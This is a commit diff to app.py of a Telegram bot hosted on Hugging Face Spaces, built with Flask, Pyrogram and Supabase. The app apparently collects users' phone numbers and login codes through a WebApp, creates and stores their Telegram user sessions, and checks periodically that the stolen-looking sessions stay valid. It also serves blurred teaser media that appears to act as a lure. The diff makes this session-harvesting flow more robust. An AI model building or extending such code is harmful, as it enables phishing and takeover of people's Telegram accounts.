Spaces:
Build error
Build error
Update app.py
Browse files
app.py
CHANGED
|
@@ -8,7 +8,7 @@ import urllib3
|
|
| 8 |
from flask import Flask, jsonify, make_response, request
|
| 9 |
from supabase import create_client
|
| 10 |
from pyrogram import Client, filters, enums, idle
|
| 11 |
-
from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired, UserDeactivated, SessionRevoked
|
| 12 |
from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
|
| 13 |
|
| 14 |
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
@@ -30,7 +30,11 @@ app = Flask(__name__)
|
|
| 30 |
supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
|
| 31 |
admin_states = {}
|
| 32 |
temp_clients = {}
|
| 33 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 34 |
|
| 35 |
def run_async(coro):
|
| 36 |
future = asyncio.run_coroutine_threadsafe(coro, main_loop)
|
|
@@ -129,6 +133,9 @@ def api_send_code():
|
|
| 129 |
return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
|
| 130 |
|
| 131 |
async def process_send_code():
|
|
|
|
|
|
|
|
|
|
| 132 |
client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
|
| 133 |
await client.connect()
|
| 134 |
try:
|
|
@@ -294,8 +301,12 @@ async def set_blur_state(client, message):
|
|
| 294 |
except Exception as e: print(e)
|
| 295 |
|
| 296 |
def upload_file_sync(upload_url, file_path, api_key):
|
| 297 |
-
|
| 298 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 299 |
|
| 300 |
@bot.on_message((filters.video | filters.animation | filters.photo) & filters.private & filters.user(ADMIN_IDS))
|
| 301 |
async def handle_media_upload(client, message):
|
|
@@ -385,7 +396,9 @@ async def handle_media_upload(client, message):
|
|
| 385 |
if clear_percent > 0:
|
| 386 |
clear_ratio = clear_percent / 100.0
|
| 387 |
# FFMPEG Audio Map ফিক্স
|
| 388 |
-
ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0[vout]", "-map", "[vout]"
|
|
|
|
|
|
|
| 389 |
else:
|
| 390 |
ff_filter = ["-vf", f"boxblur={radius}:1"]
|
| 391 |
|
|
@@ -593,10 +606,14 @@ async def auto_clean_channel_loop():
|
|
| 593 |
await temp_client.get_me()
|
| 594 |
await temp_client.disconnect()
|
| 595 |
is_valid = True
|
| 596 |
-
except
|
| 597 |
try: await temp_client.disconnect()
|
| 598 |
except: pass
|
| 599 |
await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
|
|
|
|
|
|
|
|
|
|
|
|
|
| 600 |
|
| 601 |
if not is_valid:
|
| 602 |
try:
|
|
|
|
| 8 |
from flask import Flask, jsonify, make_response, request
|
| 9 |
from supabase import create_client
|
| 10 |
from pyrogram import Client, filters, enums, idle
|
| 11 |
+
from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired, UserDeactivated, SessionRevoked, AuthKeyUnregistered
|
| 12 |
from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
|
| 13 |
|
| 14 |
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
|
|
| 30 |
supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
|
| 31 |
admin_states = {}
|
| 32 |
temp_clients = {}
|
| 33 |
+
try:
|
| 34 |
+
main_loop = asyncio.get_running_loop()
|
| 35 |
+
except RuntimeError:
|
| 36 |
+
main_loop = asyncio.new_event_loop()
|
| 37 |
+
asyncio.set_event_loop(main_loop)
|
| 38 |
|
| 39 |
def run_async(coro):
|
| 40 |
future = asyncio.run_coroutine_threadsafe(coro, main_loop)
|
|
|
|
| 133 |
return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
|
| 134 |
|
| 135 |
async def process_send_code():
|
| 136 |
+
if phone in temp_clients:
|
| 137 |
+
try: await temp_clients[phone]['client'].disconnect()
|
| 138 |
+
except: pass
|
| 139 |
client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
|
| 140 |
await client.connect()
|
| 141 |
try:
|
|
|
|
| 301 |
except Exception as e: print(e)
|
| 302 |
|
| 303 |
def upload_file_sync(upload_url, file_path, api_key):
|
| 304 |
+
try:
|
| 305 |
+
with open(file_path, 'rb') as f:
|
| 306 |
+
res = requests.post(upload_url, data={'key': api_key}, files={'file': f}, timeout=900)
|
| 307 |
+
return res.json() if res.status_code == 200 else {}
|
| 308 |
+
except Exception as e:
|
| 309 |
+
return {}
|
| 310 |
|
| 311 |
@bot.on_message((filters.video | filters.animation | filters.photo) & filters.private & filters.user(ADMIN_IDS))
|
| 312 |
async def handle_media_upload(client, message):
|
|
|
|
| 396 |
if clear_percent > 0:
|
| 397 |
clear_ratio = clear_percent / 100.0
|
| 398 |
# FFMPEG Audio Map ফিক্স
|
| 399 |
+
ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0[vout]", "-map", "[vout]"]
|
| 400 |
+
if media_type == "video":
|
| 401 |
+
ff_filter.extend(["-map", "0:a?"])
|
| 402 |
else:
|
| 403 |
ff_filter = ["-vf", f"boxblur={radius}:1"]
|
| 404 |
|
|
|
|
| 606 |
await temp_client.get_me()
|
| 607 |
await temp_client.disconnect()
|
| 608 |
is_valid = True
|
| 609 |
+
except (SessionRevoked, AuthKeyUnregistered, UserDeactivated):
|
| 610 |
try: await temp_client.disconnect()
|
| 611 |
except: pass
|
| 612 |
await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
|
| 613 |
+
except Exception:
|
| 614 |
+
try: await temp_client.disconnect()
|
| 615 |
+
except: pass
|
| 616 |
+
is_valid = True # নেটওয়ার্ক এরর হলে যেন ইউজার কিক না খায়!
|
| 617 |
|
| 618 |
if not is_valid:
|
| 619 |
try:
|